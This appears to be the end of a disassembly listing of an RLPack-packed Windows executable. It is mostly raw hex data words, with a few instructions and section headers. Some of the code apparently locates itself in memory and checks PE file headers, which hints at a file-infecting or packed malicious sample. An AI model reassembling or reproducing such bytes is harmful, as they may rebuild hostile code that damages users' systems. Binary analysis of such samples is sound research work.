840F4F54h, 0FFFFFF1Bh, 43E8DB33h, 0FFFFFFEh dd 0FFFF0E84h, 0E8D233FFh, 16h, 0FFFF6EE8h, 0E8FFh, 815D0000h dd 4021B3EDh, 0F9E900h, 0FF640000h, 2DB58B32h, 64004028h dd 81662289h, 0F5A4D3Eh, 0E285h, 3C5E8B00h, 8166DE03h dd 0F45503Bh, 0D285h, 1643F700h, 2000h, 0C5850Fh, 43F60000h dd 840F025Ch, 0BBh, 20207E81h, 0F202020h, 0AE84h, 0FECFE800h dd 820FFFFFh, 0A3h, 0FFFE97E8h, 0A2E8FFh, 9D8B0000h, 402831h dd 0FFFDB5E8h, 88840FFFh, 8B000000h, 40282DB5h, 3C5E8B00h dd 9EE8DE03h, 72FFFFFEh, 244A8176h, 0E0000060h, 356FE8Bh dd 0B58D147Ah, 401000h, 0B9107A03h, 501h, 0B1A5F357h, 0F302E303h dd 525E5FA4h, 8D92310Fh, 15587h, 0FF508800h, 0FFEECBE8h dd 4A8B5AFFh, 104A030Ch, 2B05418Dh, 47892843h, 2046C712h dd 20202020h, 8B284B89h, 858B104Ah, 402831h, 73084A39h dd 84A8903h, 83104201h, 8B005863h, 40283585h, 8420100h dd 33504301h, 228B64D2h, 58028F64h, 2811BD83h, 0F000040h dd 0FFFDE284h, 2DB5FFFFh, 0FF004028h, 40248795h, 29B5FF00h dd 0FF004028h, 40240795h, 158D8D00h, 8D004028h, 40281D95h dd 6A525100h, 11B5FF00h, 0FF004028h, 40247F95h, 11B5FF00h dd 0FF004028h, 40240795h, 9B58D00h, 0FF004027h, 40280DB5h dd 95FF5600h, 40247Bh, 2811A583h, 0C3000040h, 0E8h, 16A5D00h dd 232EED81h, 0F0580040h, 8085C10Fh, 85004014h, 0C883C3C0h dd 0C10FF0FFh, 40148085h, 103DC300h, 75002A00h, 7C81661Ch dd 716C0C24h, 0E8601375h, 0FFFFFFC4h, 0C2E80575h, 0E8FFFFFDh dd 0FFFFFFD2h, 2DFF2E61h, 12345678h, 0FFAAE860h, 3975FFFFh dd 3024448Bh, 2709B58Dh, 508B0040h, 3A816608h, 25730206h dd 6856h, 0C48B00FFh, 5052006Ah, 24B395FFh, 0C4830040h dd 5C3E8108h, 755C3F3Fh, 4C68303h, 0FFFD74E8h, 0FF84E8FFh dd 0B861FFFFh, 25h, 2FB8C3h, 10E80000h, 0C2000000h, 30B80020h dd 0E8000000h, 3, 8D0024C2h, 0CD0C2454h, 0F8832Eh, 0E860197Ch dd 0 ; --------------------------------------------------------------------------- mov edx, [esp+30h] pop ebp mov ebx, [edx] sub ebp, 4023F1h call sub_4FB4DE popa retn 4 ; --------------------------------------------------------------------------- dw 7963h dd 37DE77E7h, 157D77E7h, 0A5FD77F5h, 77E7h, 2 dup(0) dd 46720000h, 0A83777E7h, 779777E7h, 1BB877E7h, 0AA8377E6h dd 0AC3777E7h, 0B1E777E7h, 3C4977EBh, 4CAB77E7h, 93EF77E7h dd 3CE277E7h, 9F9377E7h, 0AF8F77E7h, 0AD3477E6h, 0C48677E6h dd 0C65777E7h, 5D877E7h, 4D7677E8h, 0C81577E7h, 6B777E7h dd 0A59577E7h, 0A6E977EBh, 39677EBh, 11A77E7h, 1BE677E7h dd 509077E6h, 980A77E7h, 9D8C77E7h, 0E46377E7h, 0E60377F7h dd 0E6A377F7h, 0E6B377F7h, 0EA7377F7h, 0EB6377F7h, 0EC4377F7h dd 0F50377F7h, 263377F7h, 77F5h, 51h dup(0) dd 74000000h, 5FB1F233h, 4C8D608Bh, 0B646220Bh, 0C68A39F8h dd 4081C2A0h, 0C3832917h, 38DB5204h, 0A9FEB6F7h, 30319AC2h dd 0D3901B07h, 0A0EDA514h, 0AF65A6E7h, 60498F56h, 200315DFh dd 86B144D8h, 66AA6929h, 341B13A5h, 0EC4D8EAFh, 0B1F7440h dd 0B1C892BDh, 192C3h, 452D04BCh, 0F8397FBAh, 459085E0h dd 33391B0h, 0BE73310Bh, 65BB5BA4h, 0E4243320h, 1F71EAA3h dd 23F39577h, 92920064h, 0C45F559Bh, 0FB14131Eh, 8B8466CCh dd 0E84F8D99h, 0E42566A7h, 4B29090Ah, 39762E35h, 0B8B9124Ah dd 0C7FD7C4Eh, 0B8BBBB70h, 2FFD6C6Eh, 23E97208h, 0E4CD13E2h dd 0A8A32363h, 0AF8D5D5Eh, 0BA527E89h, 0CCD79933h, 0B8C0AFD0h dd 83CD0E0Fh, 7734E8CFh, 0A970F9B8h, 7FC1426Bh, 3C9979AAh dd 510C053Bh, 8BB5B61Fh, 3095F5A6h, 7920632Fh, 0E5A9AA03h dd 248DFBB2h, 0AF3B323h, 4D28211Fh, 0A7999A33h, 14B1A982h dd 41242D13h, 0B38D8E27h, 8ADCD9Eh, 4D304B07h, 0BF818224h dd 7C55B34Ah, 0AD86ECFBh, 3435928Ch, 18601770h, 0EF6DAEAFh dd 1235h dup(0) db 3 dup(0) _RLPack ends ; Section 3. (virtual address 00101000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00100E00 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 501000h align 2000h _idata2 ends end start